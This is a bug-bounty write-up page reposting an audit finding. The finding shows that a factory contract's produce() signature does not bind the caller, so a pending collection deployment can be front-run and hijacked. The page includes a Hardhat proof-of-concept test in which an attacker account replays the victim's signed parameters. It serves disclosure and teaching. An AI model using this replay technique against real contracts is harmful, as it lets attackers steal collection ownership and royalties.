Skip to content
Business logic Audit finding Intermediate

Universal signature for produce() allows front-running and collection hijack

The produce() function in Factory.sol verifies a signature that does not include the caller's address, so an attacker can copy a pending deployment transaction from the mempool and front-run it to become the collection creator. The victim's later transaction reverts, and the attacker receives the collection ownership and royalty streams.

auditagent Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57724 sc medium universal signature for produce allows front running and collection hijack

Submitted on Oct 28th 2025 at 13:43:46 UTC by @auditagent for Audit Comp | Belong

Description

Brief / Intro

The produce() function in Factory.sol is vulnerable to front-running because the signature verification does not include the intended caller's address (msg.sender). An attacker observing a pending collection deployment in the mempool can extract the signed parameters and replay them to steal ownership of the collection and its royalty streams.

Vulnerability Details

In Factory.sol, the produce() function validates collection creation using SignatureVerifier.checkAccessTokenInfo():

Solidity
function produce(AccessTokenInfo memory accessTokenInfo, bytes32 referralCode)
    external
    returns (address nftAddress)
{
    FactoryParameters memory factoryParameters = _nftFactoryParameters;

    factoryParameters.signerAddress.checkAccessTokenInfo(accessTokenInfo);
    ...
}

SignatureVerifier.checkAccessTokenInfo() verifies a signature over metadata fields but excludes the intended creator (msg.sender):

Solidity
function checkAccessTokenInfo(address signer, AccessTokenInfo memory accessTokenInfo) external view {
    require(
        bytes(accessTokenInfo.metadata.name).length > 0 && bytes(accessTokenInfo.metadata.symbol).length > 0,
        EmptyMetadata(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol)
    );

    require(
        signer.isValidSignatureNow(
            keccak256(
                abi.encodePacked(
                    accessTokenInfo.metadata.name,
                    accessTokenInfo.metadata.symbol,
                    accessTokenInfo.contractURI,
                    accessTokenInfo.feeNumerator,
                    block.chainid
                )
            ),
            accessTokenInfo.signature
        ),
        InvalidSignature()
    );
}

The signed payload includes name, symbol, contractURI, feeNumerator, and chainid, but NOT msg.sender or any caller-specific identifier.

Impact Details

  • Attacker can become the owner/creator of the collection.
  • The victim's transaction will later revert with TokenAlreadyExists() when they attempt to submit it.

References

Proof of Concept

<details> <summary>Test that demonstrates front-running and collection hijack (expand to view)</summary>

Command to run the test:

Bash
npx hardhat test test/v2/platform/factory.test.ts --grep "attacker can front-run and steal collection"

Test code to add in test/v2/platform/factory.test.ts:

TypeScript
it('attacker can front-run and steal collection ownership', async () => {
  const { factory, alice, bob, signer } = await loadFixture(fixture);

  // Alice (legitimate user)
  const nftName = 'Alice Collection';
  const nftSymbol = 'ALICE';
  const contractURI = 'contractURI/AliceCollection';
  const price = ethers.utils.parseEther('0.01');
  const feeNumerator = 500;

  // Backend creates signature for the collection metadata (NOT bound to Alice's address)
  const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
  const signature = EthCrypto.sign(signer.privateKey, message);

  // Alice prepares her transaction
  const aliceInfo: AccessTokenInfoStruct = {
    metadata: { name: nftName, symbol: nftSymbol },
    contractURI: contractURI,
    paymentToken: NATIVE_CURRENCY_ADDRESS,
    mintPrice: price,
    whitelistMintPrice: price,
    transferable: true,
    maxTotalSupply: BigNumber.from('1000'),
    feeNumerator: feeNumerator,
    collectionExpire: BigNumber.from('86400'),
    signature: signature,
  };

  // Bob (attacker) monitors mempool and sees Alice's pending transaction
  // Bob extracts the AccessTokenInfo and signature from Alice's transaction
  // Bob front-runs Alice by submitting the same transaction with higher gas
  const txBob = await factory.connect(bob).produce(aliceInfo, ethers.constants.HashZero);
  await expect(txBob).to.emit(factory, 'AccessTokenCreated');

  // Bob's transaction succeeds and he becomes the creator!
  const nftInstanceInfo = await factory.nftInstanceInfo(nftName, nftSymbol);
  expect(nftInstanceInfo.creator).to.be.equal(bob.address); // Bob is the creator, not Alice!

  const nft = await ethers.getContractAt('AccessToken', nftInstanceInfo.nftAddress);
  const [, creator, feeReceiver] = await nft.parameters();
  expect(creator).to.be.equal(bob.address); // Bob owns the collection

  // Verify Bob receives royalties through RoyaltiesReceiver
  const RoyaltiesReceiverV2: RoyaltiesReceiverV2 = await ethers.getContractAt('RoyaltiesReceiverV2', feeReceiver);
  const payees: RoyaltiesReceiverV2.RoyaltiesReceiversStruct = await RoyaltiesReceiverV2.royaltiesReceivers();
  expect(payees.creator).to.eq(bob.address); // Bob will receive creator royalties

  // Alice's transaction now fails because the collection already exists
  await expect(factory.connect(alice).produce(aliceInfo, ethers.constants.HashZero)).to.be.revertedWithCustomError(
    factory,
    'TokenAlreadyExists',
  );

  console.log('Expected creator (Alice):', alice.address);
  console.log("Bob address:", bob.address);
  console.log('Actual creator (Bob - attacker):', creator);
  console.log("Royalty will be received by: ",payees.creator)
  console.log('Collection address:', nftInstanceInfo.nftAddress);
});
</details>

The original report as published on Immunefi, by auditagent. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signed message omits the intended caller's address, so a valid signature can be replayed by any account.

Impact

An attacker could become the owner and creator of the collection and receive its royalty streams, while the victim's transaction reverts.

What the attacker needed

Attacker can observe the mempool; victim submits a produce() transaction; attacker can pay higher gas

How it was found

  1. The backend creates a signature over the collection metadata without binding it to the user's address.
  2. The legitimate user prepares and submits a produce() transaction.
  3. The attacker sees the pending transaction in the mempool and extracts the signed parameters.
  4. The attacker submits the same parameters with higher gas to front-run the victim.
  5. The attacker's transaction succeeds and the attacker becomes the collection creator.
  6. The victim's transaction later reverts with TokenAlreadyExists().

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you create a collection, the platform checks a digital signature to confirm the details were approved. That signature does not say who is allowed to use it, so anyone who sees it can submit it first and become the owner. This is called front-running: racing ahead of someone else's pending transaction.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by auditagent

View all

2 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.